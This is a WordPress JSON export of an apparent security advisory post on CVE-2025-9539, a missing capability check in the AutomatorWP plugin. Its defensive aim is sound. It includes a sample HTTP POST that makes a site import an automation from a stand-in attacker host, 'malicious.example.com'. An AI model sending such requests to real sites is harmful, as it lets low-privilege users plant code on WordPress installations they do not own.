{"id":75163,"date":"2025-09-15T10:18:59","date_gmt":"2025-09-15T10:18:59","guid":{"rendered":""},"modified":"2025-09-28T04:00:18","modified_gmt":"2025-09-28T10:00:18","slug":"cve-2025-9539-unauthorized-modification-vulnerability-in-automatorwp-wordpress-plugin","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-9539-unauthorized-modification-vulnerability-in-automatorwp-wordpress-plugin\/","title":{"rendered":"CVE-2025-9539: Unauthorized Modification Vulnerability in AutomatorWP WordPress Plugin<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

In the ever-evolving cybersecurity landscape, vulnerabilities can often lurk in the most innocuous of places. One such vulnerability, known as CVE-2025-9539, poses a significant threat to users of the AutomatorWP plugin for WordPress. This popular plugin, designed for creating no-code automations, webhooks, and custom integrations, has an inherent flaw that could potentially lead<\/a> to unauthorized modifications of data.
\nThe vulnerability is particularly concerning due to the widespread use of the AutomatorWP<\/a> plugin, and the high-risk nature of the potential exploits. If exploited, this vulnerability could lead to remote<\/a> code execution or privilege escalation, thus posing a serious threat to website integrity and data security.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-9539
\nSeverity: High (8.0)
\nAttack Vector: Web
\nPrivileges Required: Subscriber-level access
\nUser Interaction: Required
\nImpact: Potential for remote code execution or privilege escalation, leading to unauthorized data modification<\/a>.<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

AutomatorWP for WordPress | Up to and including 5.3.6<\/p>\n

How the Exploit Works<\/strong><\/p>\n

An attacker with subscriber-level access or above could exploit this vulnerability<\/a> by invoking the `automatorwp_ajax_import_automation_from_url` function without the required capability check. By doing so, they could create arbitrary automations. These automations could then be activated by an administrator, leading to potential remote code execution<\/a> or privilege escalation. This unauthorized access<\/a> provides the attacker with the means to modify data without detection.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Below is a conceptual example of how the vulnerability might be exploited. This pseudocode represents an HTTP POST request to the vulnerable<\/a> endpoint:<\/p>\n

POST \/wp-admin\/admin-ajax.php?action=automatorwp_import_automation_from_url HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/json\n{\n\"automation_url\": \"http:\/\/malicious.example.com\/evil_automation.json\"\n}<\/code><\/pre>\n
In this example, the attacker is using the `automatorwp_import_automation_from_url` action to import a malicious automation from an external URL. Once this automation is activated by an unsuspecting administrator, the attacker can execute arbitrary<\/a> commands or escalate privileges within the system.<\/p>\n
Mitigation and Remediation<\/strong><\/p>\n
Users of the affected versions of AutomatorWP<\/a> should apply the vendor’s patch as soon as possible to mitigate this vulnerability. If a patch is not immediately available, temporary mitigation can be achieved by employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS). All users are strongly advised to regularly update their plugins to the latest versions to prevent exploitation of known vulnerabilities<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview In the ever-evolving cybersecurity landscape, vulnerabilities can often lurk in the most innocuous of places. One such vulnerability, known as CVE-2025-9539, poses a significant threat to users of the AutomatorWP plugin for WordPress. This popular plugin, designed for creating no-code automations, webhooks, and custom integrations, has an inherent flaw that could potentially lead to […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[76,80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-75163","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-privilege-escalation","attack_vector-rce"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t